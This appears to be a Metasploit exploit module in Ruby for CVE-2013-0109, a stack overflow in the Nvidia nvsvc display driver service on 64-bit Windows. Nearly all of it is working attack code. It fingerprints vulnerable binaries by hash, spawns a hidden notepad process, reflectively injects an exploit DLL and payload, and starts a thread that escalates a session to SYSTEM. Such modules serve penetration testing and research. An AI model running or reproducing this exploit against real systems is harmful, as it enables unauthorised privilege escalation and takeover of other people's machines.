170 lines
5.5 KiB
Ruby
170 lines
5.5 KiB
Ruby
##
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'rex'
|
|
require 'msf/core/post/common'
|
|
require 'msf/core/post/windows/priv'
|
|
require 'msf/core/post/windows/process'
|
|
require 'msf/core/post/windows/reflective_dll_injection'
|
|
require 'msf/core/post/windows/services'
|
|
|
|
class Metasploit3 < Msf::Exploit::Local
|
|
Rank = AverageRanking
|
|
|
|
include Msf::Post::File
|
|
include Msf::Post::Windows::Priv
|
|
include Msf::Post::Windows::Process
|
|
include Msf::Post::Windows::ReflectiveDLLInjection
|
|
include Msf::Post::Windows::Services
|
|
|
|
def initialize(info={})
|
|
super(update_info(info, {
|
|
'Name' => 'Nvidia (nvsvc) Display Driver Service Local Privilege Escalation',
|
|
'Description' => %q{
|
|
The named pipe, \pipe\nsvr, has a NULL DACL allowing any authenticated user to
|
|
interact with the service. It contains a stacked based buffer overflow as a result
|
|
of a memmove operation. Note the slight spelling differences: the executable is 'nvvsvc.exe',
|
|
the service name is 'nvsvc', and the named pipe is 'nsvr'.
|
|
|
|
This exploit automatically targets nvvsvc.exe versions dated Nov 3 2011, Aug 30 2012, and Dec 1 2012.
|
|
It has been tested on Windows 7 64-bit against nvvsvc.exe dated Dec 1 2012.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Peter Wintersmith', # Original exploit
|
|
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>', # Metasploit integration
|
|
],
|
|
'Arch' => ARCH_X86_64,
|
|
'Platform' => 'win',
|
|
'SessionTypes' => [ 'meterpreter' ],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'thread',
|
|
},
|
|
'Targets' =>
|
|
[
|
|
[ 'Windows x64', { } ]
|
|
],
|
|
'Payload' =>
|
|
{
|
|
'Space' => 2048,
|
|
'DisableNops' => true,
|
|
'BadChars' => "\x00"
|
|
},
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2013-0109' ],
|
|
[ 'OSVDB', '88745' ],
|
|
[ 'URL', 'http://nvidia.custhelp.com/app/answers/detail/a_id/3288' ],
|
|
],
|
|
'DisclosureDate' => 'Dec 25 2012',
|
|
'DefaultTarget' => 0
|
|
}))
|
|
|
|
end
|
|
|
|
def check
|
|
vuln_hashes = [
|
|
'43f91595049de14c4b61d1e76436164f',
|
|
'3947ad5d03e6abcce037801162fdb90d',
|
|
'3341d2c91989bc87c3c0baa97c27253b'
|
|
]
|
|
|
|
os = sysinfo["OS"]
|
|
if os =~ /windows/i
|
|
svc = service_info 'nvsvc'
|
|
if svc and svc['Name'] =~ /NVIDIA/i
|
|
vprint_good("Found service '#{svc['Name']}'")
|
|
|
|
begin
|
|
if is_running?
|
|
vprint_good("Service is running")
|
|
else
|
|
vprint_error("Service is not running!")
|
|
end
|
|
rescue RuntimeError => e
|
|
vprint_error("Unable to retrieve service status")
|
|
return Exploit::CheckCode::Unknown
|
|
end
|
|
|
|
if sysinfo['Architecture'] =~ /WOW64/i
|
|
path = svc['Command'].gsub('"','').strip
|
|
path.gsub!("system32","sysnative")
|
|
else
|
|
path = svc['Command'].gsub('"','').strip
|
|
end
|
|
|
|
begin
|
|
hash = client.fs.file.md5(path).unpack('H*').first
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
|
print_error("Error checking file hash: #{e}")
|
|
return Exploit::CheckCode::Detected
|
|
end
|
|
|
|
if vuln_hashes.include?(hash)
|
|
vprint_good("Hash '#{hash}' is listed as vulnerable")
|
|
return Exploit::CheckCode::Vulnerable
|
|
else
|
|
vprint_status("Hash '#{hash}' is not recorded as vulnerable")
|
|
return Exploit::CheckCode::Detected
|
|
end
|
|
else
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
end
|
|
end
|
|
|
|
def is_running?
|
|
begin
|
|
status = service_status('nvsvc')
|
|
return (status and status[:state] == 4)
|
|
rescue RuntimeError => e
|
|
print_error("Unable to retrieve service status")
|
|
return false
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
if is_system?
|
|
fail_with(Exploit::Failure::None, 'Session is already elevated')
|
|
end
|
|
|
|
unless check == Exploit::CheckCode::Vulnerable
|
|
fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system.")
|
|
end
|
|
|
|
print_status("Launching notepad to host the exploit...")
|
|
|
|
windir = session.sys.config.getenv('windir')
|
|
cmd = "#{windir}\\SysWOW64\\notepad.exe"
|
|
process = client.sys.process.execute(cmd, nil, {'Hidden' => true})
|
|
host_process = client.sys.process.open(process.pid, PROCESS_ALL_ACCESS)
|
|
print_good("Process #{process.pid} launched.")
|
|
|
|
print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
|
|
library_path = ::File.join(Msf::Config.data_directory,
|
|
"exploits",
|
|
"CVE-2013-0109",
|
|
"nvidia_nvsvc.x86.dll")
|
|
library_path = ::File.expand_path(library_path)
|
|
|
|
print_status("Injecting exploit into #{process.pid} ...")
|
|
exploit_mem, offset = inject_dll_into_process(host_process, library_path)
|
|
|
|
print_status("Exploit injected. Injecting payload into #{process.pid}...")
|
|
payload_mem = inject_into_process(host_process, payload.encoded)
|
|
|
|
# invoke the exploit, passing in the address of the payload that
|
|
# we want invoked on successful exploitation.
|
|
print_status("Payload injected. Executing exploit...")
|
|
host_process.thread.create(exploit_mem + offset, payload_mem)
|
|
|
|
print_good("Exploit finished, wait for (hopefully privileged) payload execution to complete.")
|
|
end
|
|
end
|
|
|